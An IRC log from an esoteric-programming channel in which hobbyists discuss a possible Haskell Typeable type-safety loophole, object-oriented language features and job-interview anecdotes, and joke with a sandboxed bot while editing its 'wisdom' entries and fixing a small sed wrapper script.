2016-06-01: 00:15:45 -!- hppavilion[1] has joined. 00:19:25 -!- Elronnd\StD has changed nick to Elronnd. 00:21:20 -!- copumpkin has joined. 00:28:33 -!- oerjan has joined. 00:29:30 yellørjan. 00:30:52 yhoily. 00:36:15 -!- spiette has quit (Quit: .). 00:47:42 hm... 00:48:19 @let class Typeable a => T a 00:48:22 Defined. 00:49:11 @let newtype W = W Int deriving T 00:49:12 .L.hs:312:20: 00:49:12 Can't make a derived instance of ‘T W’: 00:49:12 ‘T’ is not a derivable class 00:49:16 damn 00:50:25 @tell int-e lambdabot still lacks enabled extensions (like GeneralizedNewtypeDeriving) for enterprise exploit searching tdnh 00:50:26 Consider it noted. 00:50:33 -!- AstroMoon has joined. 00:52:22 shachaf: argh i need GHC again :( 00:52:33 oerjan: for what 00:52:42 to check if that's an exploit 00:53:01 GHC 8? 00:53:06 you cannot newtype derive Typeable, but can you newtype derive a _subclass_ of it? 00:53:33 shachaf: not just 8 00:53:48 but i'm not going to install an older version, anyway. 00:54:05 when you get ghc 8 you'll have to answer all my questions hth 00:54:14 NOOOOOOOO 00:54:52 -!- AstroMoon has quit (Quit: Got to keep moving!!). 00:56:29 oerjan: Isn't Typeable autoderived these days? 00:56:53 shachaf: yes. the point here is whether you can break it. 00:57:08 by indirectly deriving a wrong instance. 00:59:46 huh the new haskell platform installer requires manual config editing in windows. 01:00:31 Hmm, I think your idea might work... 01:07:14 <\oren\> oerjan: is this a security exploit? 01:07:15 * oerjan downloads minimal version 01:08:00 \oren\: well it's a type safety breach, and some security depends on type safety 01:08:19 not if it takes itself seriously hth 01:08:22 but after all the exploits we've found, you'd be foolish to depend _justs_ on that. 01:08:28 *-s 01:09:01 but still, it'll probbly be enough to increase spj's pulse a bit. 01:09:10 *+a 01:09:35 stupid lag ruins my typing concentration :( 01:10:23 i think the lag might be due to downloading the Platform 01:11:37 oerjan: just download it onto your cloud server hth 01:11:41 it has so much bandwidth 01:11:45 the cloud is all about bandwidth 01:11:52 OKAY 01:11:52 cloud 01:11:58 soon as i get one 01:12:17 -!- ais523 has joined. 01:12:19 wtf it interrupted. 01:12:21 <\oren\> ERROR: Rainbow does not implement interface Icloud 01:13:29 :D 01:13:43 oerjan: Oh, maybe it doesn't work. 01:13:48 I'll just let you figure it out. 01:15:37 -!- rntz has quit (Ping timeout: 244 seconds). 01:16:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 01:16:39 -!- rntz has joined. 01:22:50 -!- copumpkin has quit (Ping timeout: 258 seconds). 01:23:36 -!- copumpkin has joined. 01:24:25 -!- ybden has quit (Quit: dut). 01:28:15 shachaf: yeah. stupid download. 01:28:40 oh well, 3 mins left it says. 01:30:25 shachaf: i expect that even if it works it'll need some fiddling to get ghc to _not_ ues the autoderived instance. 01:30:29 *use 01:30:56 * oerjan really cannot type when the letters don't show up at the same speed... :( 01:36:40 -!- heroux has quit (Ping timeout: 260 seconds). 01:40:10 -!- hppavilion[1] has joined. 01:57:33 exploding sheep are fun. mwah ah ah ah ah. 01:58:40 yo, winghci is up 01:59:40 shachaf: i'm also finally restoring backup to my laptop, so now i actually have the origin of sp^wpcs on it. 02:01:03 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 02:02:42 oerjan: whoa, i forgot that pun 02:04:30 * oerjan deletes them from the backup directory on nvg, because they took up like half his quota. 02:04:47 the OOTS book (two versions), that is. 02:04:54 What's your quota? 02:05:47 250 Mb, i think 02:06:05 -!- Koen_ has quit (Quit: Leaving...). 02:06:30 this backup solution might not scale into the next time... 02:07:17 is that bits or bytes 02:07:34 bytes 02:08:25 you can back up 250MB very cheaply on the internet hth 02:11:09 i guess. i probably even have something from microsoft included with the laptop. 02:11:26 (although i might have to register more "properly") 02:12:08 You can use Google Drive or Dropbox or something for free for that little space, I'm sure. 02:12:39 Of course, why would you want to store your data in the US? 02:13:06 so the NSA can back it up properly, duh 02:13:36 i have so far avoided getting any kind of account with either google or microsoft. 02:14:14 that you know of hth 02:15:08 that would have made more sense if you were talking about the nsa 02:16:08 i'm sure the nsa know all my crimes but consider me too small a fish to fry hth 02:16:27 oerjan: tarsnap will back up your data securely for 250 picodollars / byte-month hth 02:16:43 I have $50 of Tarsnap bounty credit but I've never used it. 02:18:07 yay up and editing 02:22:59 Hi! I just flew in here from https://youtu.be/wfYbgdo8e-8, and boy is my FREAKTHEFUCKOUT cortex tired! 02:30:45 -!- MoALTz has quit (Quit: Leaving). 02:31:20 -!- boily has quit (Quit: PREMATURE CHICKEN). 02:34:50 oerjan: did you find a bug that lets you unsafeCoerce between a value and its newtype 02:35:09 that's a little unsatisfactory. 02:35:26 Actually I think you can do more. 02:35:40 i'm not sure. i just had a mysterious failure. 02:36:14 exciting 02:37:01 somehow it uses the autoderived Typeable when newtype deriving. or so it seems. 02:38:51 I don't think so? 02:39:12 class Typeable a => S a 02:39:12 instance S Int 02:39:12 newtype W = W Int deriving S 02:39:12 f :: S a => a -> TypeRep 02:39:12 f a = typeOf a 02:39:20 f (W 1) gives W 02:39:32 clas Typeable a => T a where { foo :: a -> TypeRep }; instance T Int where { foo = typeOf }; newtype W = W Int deriving T; typeOf (W 5) -- Int 02:39:51 Er, foo (W 5) 02:40:01 oh you used a method 02:40:24 Aren't methods the issue with GND? 02:41:28 ok, let me try building on that. 02:43:36 shachaf: hm the problem is that a TypeRep doesn't give you enough to break things 02:43:47 and using a :~: fails due to roles, i think. 02:43:54 -!- augur_ has joined. 02:43:56 Using :~: in the method does, yes. 02:43:57 so maybe it really is safe, due to roles 02:44:06 The method type has to be representational or something. 02:44:16 I'm not sure about safe. 02:44:30 But it doesn't seem correct that you can have x :: W such that typeOf x is Int 02:45:20 shachaf: you don't. 02:45:44 You effectively do inside the method. 02:46:30 fsvo effectively 02:47:33 -!- augur has quit (Ping timeout: 258 seconds). 02:47:40 But roles restrict you from doing much. 02:48:03 yes, so it seems. 02:54:09 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 02:54:30 -!- Kaynato has joined. 02:55:46 oerjan: so oerjan: did you find a bug that lets you unsafeCoerce between a value and its newtype 02:56:38 what, do you want a swat or something 02:57:13 -!- copumpkin has joined. 02:58:54 confirmed with a GADT that even if you wrap the class existentially, you still get the automatic Typeable. 03:09:16 oerjan: can you do anything with other fancy types 03:09:22 like Vault or StableName or something 03:09:38 well the question is whether you can get something that doesn't force the role 03:16:57 oerjan: Oh, there's nothing special about Typeable here. 03:18:58 power outage #scow 03:24:57 Could a microcode execution to work in this way: First all register reads and memory reads and calculations are performed simultaneously, and then the jumping and register writes and memory writes are all performed simultaneously; if a register write affects the operation, jumps will be affected for the current cycle but any other affects occur for the next instruction instead. 03:26:16 shachaf: indeed, my error was assuming that superclass dictionaries somehow got wrapped into subclass ones, and went through newtype deriving with them. but any wrapping doesn't happen until afterwards. 03:26:29 at least that's what i now think. 03:27:28 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 03:42:01 Long ago (in this exact galaxy), I learned something in a job interview. 03:42:25 They asked me to explain the "public", "protected", and "private" access modifiers in OO programming. 03:42:47 And in the course of doing so, I realized I didn't quite know how they work. 03:43:47 I said that I'm not sure if, in a non-static method belonging to a class, I can access private members of other instances of the class, besides self. 03:43:50 Turns out that yeah, you can. 03:43:57 And I have no idea why I bring this up. 03:44:12 It's kind of a pointless story. Like that one Mitch Hedberg joke. 03:45:34 In what programming language? In some you cannot access private members of other instances of the class 03:45:58 I think they were talking about C#. Or... maybe Java? 03:46:09 Here we go, it's the Hedberg joke about the locksmith. 03:46:26 https://en.wikiquote.org/wiki/Mitch_Hedberg - 'If I was a locksmith I'd be fuckin' pimpin' that shit out. "Say, what's goin' on, man? Tell you what. I'll trade you a free key duplication (laughs)." That joke made me laugh before I could finish it. Which is good 'cause there's no ending.' 03:47:29 One time in a job interview they kept trying to get me to say the word "singleton". 03:47:57 shachaf: because they wanted to know you were aware of the concept? or did they just think it was a fun word to say? 03:48:08 I kept avoiding it, and saying things like "global variable" because that's what it really amounted to. 03:49:03 I don't know why. 03:49:28 JavaScript has no classes or public/protected/private, but you can implement a lot of stuff that acts like it. One thing that can be done is to put the private variables and methods that access them in the constructor; in this way it won't have access to privates of other objects. Another thing can be done is you can make up a WeakMap to assign your own private values to any object. 03:50:05 (Actually JavaScript does now have a "class" command, although I do not use it.) 03:51:13 zzo38: What do you use JavaScript for? 03:52:05 -!- hppavilion[1] has joined. 03:52:10 GreaseMonkey, Node.js, userChrome.js 03:52:32 `? usual suspects 03:52:57 There are 3.99 usual suspects, but they're usually rounded up. 03:53:35 `sled wisdom/usual suspect//s3933 03:53:40 No output. 03:53:51 oops, squandered opportunity there 03:54:18 What does "sled" mean here? 03:54:32 It means slashsed 03:54:39 I did a phone interview once. They asked me: if I had to make some classes to represent square tables, rectangular tables, and circular tables, how would I do it? 03:54:51 You give it an argument consisting of a file name, and then two slashes, and then a sed script. 03:55:12 I felt like they were obviously expecting a specific answer. 03:55:16 tswett: Was this an innovative database company? 03:55:20 OK 03:55:28 I've never heard of circular tables but it sounds exciting. 03:55:37 Have a Table class, then RectangularTable inheriting from Table, SquareTable inheriting from RectangularTable, CircularTable inheriting from Table. 03:55:43 That, of course, is not the answer I gave them. 03:57:54 If they ask me such question then I would just ask them more questions. 03:58:53 zzo38: How would you conduct a job interview? 03:59:02 Or, more generally, how would you decide whether to hire someone for a job? 03:59:45 I don't know, but I suppose it can depend what job. 04:01:02 Yes. 04:03:38 Hmmmmm. I'm getting an idea. A terrible idea. 04:03:41 Maybe an esolang idea. 04:04:18 Interfaces in C# have limitations. For example, there's no way to define this interface: 04:05:14 interface ICloneable { T Clone(); /* where T is the class implementing this interface */ } 04:06:05 It's also impossible for an interface to contain any method implementations. 04:06:50 Interfaces can't contain static members, either. 04:07:02 Now, in my opinion, it would make perfect sense for an interface to contain static members. 04:07:32 Sometimes you remind me of Java Update. 04:08:07 Who's that? 04:08:31 That isn't so good that it can't be where T is the class implementing this interface. Even Haskell can do that. 04:08:57 zzo38: "even Haskell"? That's sort of a core feature of Haskell. 04:09:05 zzo38: Even Haskell? 04:09:14 tswett: Yes I know that 04:09:24 Haskell is an advanced purely-functional programming language. 04:09:51 I'm thinkin', could you just have the one concept, called a "trait" or something, that can have abstract members, non-abstract members, static, non-static... 04:10:12 And then... implementing an interface is very similar to inheriting from a class. 04:10:44 I think I know where this is going. 04:11:01 treason? 04:11:01 So, there are things called "traits". Traits replace classes and interfaces. 04:11:04 shachaf: yep! 04:12:34 A trait can inherit from any number of other traits. Members of traits can be abstract, virtual, or final. 04:14:09 Unlike with class inheritance, if a trait B inherits from a trait A, and the trait A has a member called "foo", then the trait B does not automatically have a corresponding member also called "foo". 04:14:14 In other words... 04:14:43 With trait inheritance, members *are* inherited from one trait into its children; but when a member is inherited, it doesn't necessarily keep its name. 04:15:40 tswett: this sounds a lot like C++... 04:15:46 coppro: does it? 04:15:50 I don't really know C++. 04:16:04 C++ doesn't separate interfaces from classes 04:16:21 a class can have any number of bases, be entirely abstract, concrete, entirely virtual, entirely not 04:16:35 Hmmm. 04:16:36 final was added later as a compiler check 04:17:24 C++ allows you to hide inheritance behind access control, so that inheritance is, say, private, in which case consumers can't access base members or convert to the base class. It's rarely used though 04:17:42 it supports your ICloneable interface, too, via the CRTP 04:17:48 (curiously recursive template pattern) 04:17:59 or through concepts 04:19:30 You can make upcasting private? Interesante. 04:19:53 multiple inheritance gets a little weird though 04:20:07 suppose you have classes B and C inheriting from A, and D inheriting from B and C 04:20:14 then by default, D actually has two copies of A 04:20:36 you have to mark the base class A virtual in each case to make it collapse into one (at the cost of a lot of extra runtime thunks) 04:26:59 One of these days I'll have to work out category theory. 04:27:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 04:30:06 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 04:38:13 -!- hppavilion[1] has joined. 04:38:54 After watching that video I posted earlier (https://youtu.be/wfYbgdo8e-8 if you forgot), I wrote a program to test communication 04:39:44 Hey hppavilion[1]. 04:39:45 I made a 5-bit character set and a program that would accept input and convert strings of "a"s and "s"s into 0s and 1s then into that character set 04:39:57 hppavilion[1]: remind me... what country are you in, if I may ask? 04:40:05 tswett: Transnistria 04:40:31 You would put your left hand (controlled by the right brain) onto the a and s keys and let it go wild, then it would make a result 04:40:36 Then I tried talking to my right brain 04:40:44 [L] Um... hello? 04:40:53 [R] assaassaassaassaassasasassaassaasasasassasassaaassaassaaasassassaasaassa 04:41:00 Which converted to: 04:41:01 MZTGVTFLLDGFWJ 04:41:17 As I expected, it didn't work in the slightest. 04:41:25 Existential crisis averted 04:41:45 tswett: I'm in Alaska, which is in the USA 04:42:33 Well, it's hardly among the 48 original states. 04:42:57 shachaf: 49, if you count Puerto Rico 04:43:00 The 40 original states that the US had back when it was founded, in 1946. 04:43:05 s/40/48/ 04:43:34 USA stands for United State Automaton, right? 04:43:52 coppro: We're hardly an automaton; at best, we're a decision tree 04:44:04 Not even a decision tree really; more of a stall-instead-of-making-a-decision tree 04:44:16 `? histogram 04:44:18 histogram? ¯\(°​_o)/¯ 04:44:40 So no one is interested in my failed experiment? 04:44:57 I'm kind of interested. 04:44:58 (Well, I suppose experiments can't fail if done correctly; they can just give uninteresting results) 04:45:05 I've tried to do that sort of thing before. 04:45:15 I just realized how many times my right brain said "ass" 04:45:44 I mean, to be fair, there's a 1/8 chance of it saying that for any 3 "a"s and "s"s 04:45:52 hppavilion[1]: you ever hear of tulpas? http://www.tulpa.info/what-is-a-tulpa/ 04:45:56 `learn Histograms are diagrams showing histamine levels. Taneb invented them. 04:45:57 And the chance probably goes up when you allow overlapping chains 04:46:02 Learned 'histogram': Histograms are diagrams showing histamine levels. Taneb invented them. 04:46:03 tswett: Nope, clicking 04:46:16 `?USA 04:46:16 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ?USA: not found 04:46:17 `? USA 04:46:21 See America. 04:46:27 `? America 04:46:28 This wisdom entry had to be removed due to a DMCA takedown notice. 04:46:36 boring 04:46:42 hppavilion[1]: so, I can try to find you an internship in Michigan if you're ever interested. 04:46:46 `learn USA apparently doesn't stand for United State Automaton 04:46:48 tswett: ...oh god 04:46:49 Relearned 'usa': USA apparently doesn't stand for United State Automaton 04:46:52 `before 04:46:58 wisdom/usa//See America. 04:47:23 shachaf: They tested it before changing it... 04:47:39 shachaf: It's literally 8 lines above you 04:47:42 look 04:47:45 i'm not the logreader here 04:47:48 blame oerjan 04:48:07 hppavilion[1]: oh god what? 04:48:10 shachaf: I don't think tilting your eyes by about a half a radian counts as logreading 04:48:15 tswett: tulpas 04:48:31 tswett: This sounds almost as crazy as fictionkin 04:48:47 tswett: And at least pice as crazy as otherkin 04:49:50 tswett: But then again, quantum physics is pretty damn crazy, and brains are a lot bigger than quantum stuff 04:50:18 tswett: I have a feeling this /might/ be one of those things that is really crazy- crazier than things that are wrong- but also plausible 04:50:59 If oerjan was here he would fix that wisdom entry. 04:51:03 Since he's not retired anymore. 04:51:11 Maybe he'd even fix it with sedlast or sled. 04:52:06 `sled wisdom/usa/s,$,., 04:52:06 usage: sled file//script 04:52:10 darn 04:52:17 `sled wisdom/usa//s,$,., 04:52:20 wisdom/usa//USA apparently doesn't stand for United State Automaton. 04:52:27 shachaf: i don't trust sedlast 04:52:49 oerjan: it works fine if you're not racist hth 04:54:00 tswett: It at least seems like an interesting thing to experiment with over the summer 04:54:14 shachaf: since when am i not retired 04:54:46 oerjan: since you started editing wisdom entries again hth 04:55:02 i think you are just confused about what i retired from hth 04:55:18 . o O ( or perhaps i am ) 04:55:27 what did you retire from 04:55:52 anyway, in norway retired people are now officially encouraged to keep working. 04:55:59 (sometimes) 04:57:24 shachaf: fixing stupid bugs from people who cannot remember how HackEgo works even after the fifth time 04:57:34 oh 04:57:38 mainly. 04:57:40 why did you ever take that job in the first place 04:57:46 i know, right? 04:58:51 also, i retired from actually checking the repository browser page. 04:59:25 those two things are not unconnected. 04:59:55 hppavilion[1]: oh yeah, are you starting summer vacation right around now? 05:00:41 tswett: I've been on summer vacation for... maybe 2 weeks? 05:00:41 `` ps aux | grep grep 05:00:43 2-3 05:00:44 5000000000 288 0.0 0.2 4180 620 ? S 04:00 0:00 sh -c 'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' '`' 'ps aux | grep grep' | cat \ 500000000 290 0.0 0.6 19140 1600 ? 05:00:50 `? oerjan 05:00:51 Your retired mysterious adjectival cackling overlord oerjan is a lazy expert in future computation. Also an antediluvian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 05:00:52 Oh dang. 05:01:03 My summer vacation was yesterday. :D 05:01:29 tswett: _all_ of it? 05:01:36 i knew americans had it bad, but... 05:02:05 I have an office job. I get 25 vacation days a year. 05:02:05 `sled wisdom/oerjan//s-retired --;s(rd(rd emeritus( 05:02:10 wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also an antediluvian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 05:02:19 A whole 25? Envy. 05:02:51 pikhq: You get that at Google after 5 years, right? 05:02:57 Except in Europe where you get it right away, or something. 05:03:07 Yeah. 05:03:09 Which... I understand that Europe generally has better vacation time than the US. 05:03:38 `sedlast s/antediluvian/precambrian/ 05:03:45 wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also an precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 05:03:49 Man, y'know, I think I've been a regular in this channel for about 11 years now. 05:03:52 oops 05:04:02 oerjan: suddenly you're sedlasting? 05:04:13 tswett: 11 years a regular and still not a member? 05:04:17 `sedlast s/ an/ a/ 05:04:24 wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 05:04:33 How long have I been here? 05:04:38 I honestly don't know. 05:04:59 I've been using Freenode for over 12 years, I think. 05:05:10 Though my nick was registered a little under 12. 05:05:31 -!- Elronnd has changed nick to Elronnd\StD. 05:06:18 ...12 years ago, not age 12 05:06:45 Though those aren't all that far apart. 05:06:49 Maybe. 05:07:10 Maybe I should stay away from that topic. 05:07:11 `sedlast s/pre/Pre/ 05:07:20 wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 05:08:41 i've been here for 10 years now. plus/minus a few days. 05:09:40 hm minus, apparently. 05:09:48 maybe i was on the wiki first. 05:11:04 `le/rn chaf/Any word ending in "chac" can notify shachaf. 05:11:07 Learned «chaf» 05:11:08 oops 05:11:14 `sedlast shachafh 05:11:21 wisdom/chaf//Any word ending in "chaf" can notify shachaf. 05:15:27 `forget chaf 05:15:31 Forget what? 05:16:00 HackEgo: chaf 05:18:35 I wonder when my first wiki edit was. 05:19:53 2005. 05:22:46 So yeah. About 11 years. 05:24:36 -!- Sgeo has quit (Read error: Connection reset by peer). 05:55:05 -!- Kaynato has quit (Ping timeout: 260 seconds). 05:57:15 -!- Sgeo has joined. 06:00:38 sgello 06:09:26 Hi 06:09:40 My expensive toys aren't working :( 06:14:54 And your cheap toys? 06:21:29 This ring is still holding together 06:34:01 -!- ais523 has quit (Ping timeout: 240 seconds). 06:39:40 -!- ais523 has joined. 06:54:11 I don't see why people use 4-part versioning schemes when we can use the more modern, more expressive 18446744073709551616-part schemes 06:54:36 isn't that called open source 06:54:42 And even then, we should avoid those for major software and use the G64-part scheme 07:05:35 `? tetris 07:05:39 tetris? ¯\(°​_o)/¯ 07:05:42 http://www.qwantz.com/index.php?comic=2985 is actually an awesome idea 07:06:50 -!- lambda-11235 has quit (Quit: Bye). 07:06:56 `learn Tetris is where Soviet Russia was invented. Taneb was not present although Triangle and Robert were. 07:06:59 Learned 'tetri': Tetris is where Soviet Russia was invented. Taneb was not present although Triangle and Robert were. 07:07:31 `` mv wisdom/tetri{,s} 07:07:34 No output. 07:08:26 -!- heroux has joined. 07:19:58 What happened there? <-- a timeout, probably. 07:20:33 oerjan: I guess if it prints text and then times out some text still gets printed. 07:20:42 yeah 07:20:54 you have an odd logreading order 07:21:53 ...or at least one of them, at any rate! <-- hi 07:22:07 shachaf: no, i've just not got any further? 07:22:26 I guess you don't count reading your IRC client as logreading. 07:22:32 indeed. 07:23:58 `` ls wisdom/usual* 07:24:01 wisdom/usual suspects 07:24:16 I guess you could de-s it. 07:24:23 `` ls wisdom/*usual* 07:24:25 wisdom/the usual suspect \ wisdom/usual suspects 07:24:38 `cat wisdom/the usual suspect 07:24:39 cat: wisdom/the usual suspect: No such file or directory 07:24:50 fine, i made a mess of it 07:24:58 * oerjan cackles adjectivally 07:24:59 how the fuck did this tetri learning happen? 07:25:22 myname: it strips off s 07:25:35 ah, plural 07:25:53 better slashlearn 07:25:56 `` ls wisdom/the\ usual\ suspect 07:25:57 wisdom/the usual suspect 07:26:00 `` ls -l wisdom/the\ usual\ suspect 07:26:02 lrwxrwxrwx 1 5000000 0 13 May 31 19:43 wisdom/the usual suspect -> usual suspect 07:26:11 `` mv wisdom/usual\ suspect{s,} 07:26:13 No output. 07:26:15 `? the usual suspects 07:26:19 There are 3.99 usual suspects, but they're usually rounded up. 07:26:48 `sled wisdom/usual suspect//s;,; in #esoteric,; 07:26:52 wisdom/usual suspect//There are 3.99 usual suspects in #esoteric, but they're usually rounded up. 07:27:32 i demand names 07:28:25 I was pretty pleased with that pun. 07:28:42 @tell boily if only you were here to measure my funpun tdnh 07:28:42 Consider it noted. 07:29:37 -!- augur_ has quit (Remote host closed the connection). 07:30:17 myname: John, Ahmed, Jens, Fiona and Balthasar hth 07:30:23 -!- augur has joined. 07:30:57 oerjan is good at rounding 07:31:04 yep 07:31:36 i,i But the Judge said he never had summed up before; / So the Snark undertook it instead, / And summed it so well that it came to far more / Than the Witnesses ever had said! 07:33:15 `cat bin/sled 07:33:15 ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || exit 1; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 07:33:45 `sled fnord//hi 07:33:46 No output. 07:34:42 -!- augur has quit (Ping timeout: 250 seconds). 07:34:46 Maybe a sledpreview would be useful. 07:35:05 So you can test in /msg and then sled in produ^W#esoteric. 07:35:34 `sled bin/sled/s/exit 1; sed/{ echo 'Rosebud!'; exit 1 }/ 07:35:36 `sled bin/sled//s#\|\| exit 1#|| { echo 'no such file'; exit 1; }# 07:35:36 usage: sled file//script 07:35:39 bin/sled//|| { echo 'no such file'; exit 1; }[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || exit 1; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 07:35:49 :( 07:35:50 oops 07:36:04 `revert 07:36:06 I just discovered Dinosaur Comics 'butiwouldratherbereading' 07:36:23 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 07:36:25 `sled bin/sled//s/exit 1; sed/{ echo 'Rosebud!'; exit 1 }/ 07:36:32 bin/sled//[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1 } -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 07:36:32 revert is so slow 07:36:45 `sled fnord//hi 07:36:46 ​/hackenv/bin/sled: line 2: syntax error: unexpected end of file 07:36:50 damn 07:36:54 Which suggests that Dinosaur Comics is generated by an algorithm; the individual pages might even just be text on the server 07:37:09 oh 07:37:12 `revert 07:37:15 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 07:37:22 OMG 07:37:26 http://www.qwantz.com/index.php?comic=2968&butiwouldratherbereading=somethingmorehistoricallyaccurate IS THE BEST THING EVER 07:37:37 `sled bin/sled//s/exit 1; sed/{ echo 'Rosebud!'; exit 1 }; sed/ 07:37:41 bin/sled//[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1 }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 07:37:47 `sled fnord//hi 07:37:47 (Am I late to the party? Did everybody already know about this?) 07:37:48 ​/hackenv/bin/sled: line 2: syntax error: unexpected end of file 07:37:54 GODDAMMIT 07:37:54 oerjan: Did you know about this? 07:38:07 (In other news, I just said "OMG". So... SEPPUKU) 07:38:08 hppavilion[1]: i am not even reading what you're saying. 07:38:16 oerjan: Do you read dinosaur comics? 07:38:23 hppavilion[1]: still not reading. 07:38:30 :,( 07:38:52 shachaf: Do /you/ read dinosaur comics? 07:39:02 I only read the good ones. 07:39:20 shachaf: Were you aware of butiwouldratherbereading? 07:39:28 shachaf: Because http://www.qwantz.com/index.php?comic=2968&butiwouldratherbereading=somethingmorehistoricallyaccurate is amazing 07:39:36 You already linked that. 07:39:50 oerjan: whoa whoa whoa, that's quite an oath 07:39:55 `revert 07:39:57 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 07:40:04 `cat bin/sled 07:40:06 ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || exit 1; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 07:40:09 shachaf: Yes 07:40:24 shachaf: Wait, how do you know which ones are good in advance? 07:40:51 oerjan: i can't believe you would use a big big D 07:41:24 i have no idea why this isn't working. 07:42:48 missing ; after the 1 hth 07:44:20 gah 07:44:30 `sled bin/sled//s/exit 1; sed/{ echo 'Rosebud!'; exit 1; }; sed/ 07:44:36 bin/sled//[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1; }; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; } 07:44:54 `sled fnord//plugh 07:44:55 Rosebud! 07:45:07 thanks 07:45:08 Oh, I get it. 07:45:10 Sled. 07:45:17 That took a little too long. 07:46:10 ais523: do you happen to know why the templating of Confound and Intervene differs? 07:46:13 `card-by-name Confound 07:46:15 Confound \ 1U \ Instant \ Counter target spell that targets one or more creatures. \ Draw a card. \ PS-C 07:46:17 `card-by-name Intervene 07:46:18 Intervene \ U \ Instant \ Counter target spell that targets a creature. \ UL-C 07:46:38 b_jonas: no 07:46:40 ais523: as far as I know, the first abilities function exactly the same, and there's no reason why they should be phrased differently 08:01:06 -!- AnotherTest has joined. 08:44:54 -!- oerjan has quit (Quit: Nite). 09:04:12 -!- AnotherTest has quit (Ping timeout: 246 seconds). 09:05:44 -!- xkapastel has quit (Quit: Connection closed for inactivity). 09:14:29 -!- ais523 has quit (Ping timeout: 260 seconds). 09:31:48 http://xkcdsw.com/3900 09:31:49 Oh god 09:31:52 The horror 09:37:22 -!- Koen_ has joined. 09:48:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 09:56:29 -!- augur has joined. 10:01:06 -!- augur has quit (Ping timeout: 258 seconds). 10:09:21 -!- gamemanj has joined. 10:14:07 What's the current best way to report templating problems (indirectly) to the M:tG rules team then? The wizards forum worked for me once, but that forum is shut down now, so I'm not sure what to do . 10:15:04 start new forums, let them get popular, then report them there? 10:15:13 b_jonas: I think you can send them mail. 10:15:16 gamemanj: aww 10:15:33 shachaf: I think the "indirectly" means it has to be publically visible 10:15:36 shachaf: send who email? I don't think you could ever send email directly to wizards. Even on the forum, you didn't talk directly to wizards. 10:15:45 I meant physical mail, not email. 10:15:53 shachaf: ah... that might work 10:15:56 At least I think I read an article where they talked about receiving mail. 10:16:29 Wizards used to have some forms on their website, but I don't think they worked well. Or at least, the bug reports I sent about the Gatherer interface with that form never got into their public list of bugs about Gatherer. 10:16:45 Let me try to find a snail mail address. 10:17:05 shachaf: how old an article? this may have changed in the last few years. 10:17:15 I'm not even sure if I actually read it. 10:20:19 alternately, I can try the "customer service" emails or phones they give 10:20:50 and maybe I should also try to report the Gatherer issues that Gatherer still has 10:20:56 "We at Wizards of the Coast recognize that no matter how detailed the rules, situations will arise in which the interaction of specific cards requires a precise answer. If you have questions, you can get the answers from us at Wizards.com/CustomerService. Additional contact information is on the last page of these rules." 10:21:07 I think they're probably aware of some of the Gatherer issues. 10:21:20 Like how comments have been broken for 2 years or something, haven't they? 10:22:11 shachaf: yes, but they used to have a list of bugs (for the old Gatherer), and also had a submission form for new bugs, but even after some time, the bug I reported through the form didn't get to the list or get fixed. that might hvae been something I did wrong though. mind you, the new gatherer fixed some of the old bugs (and introduced new bugs) so it's partly moot. 10:22:25 "However, if you have rules questions that aren't answered by the basic or comprehensive rules or the release notes, feel free to contact customer service." 10:22:28 http://wizards.custhelp.com/app/answers/detail/a_id/2339 10:23:10 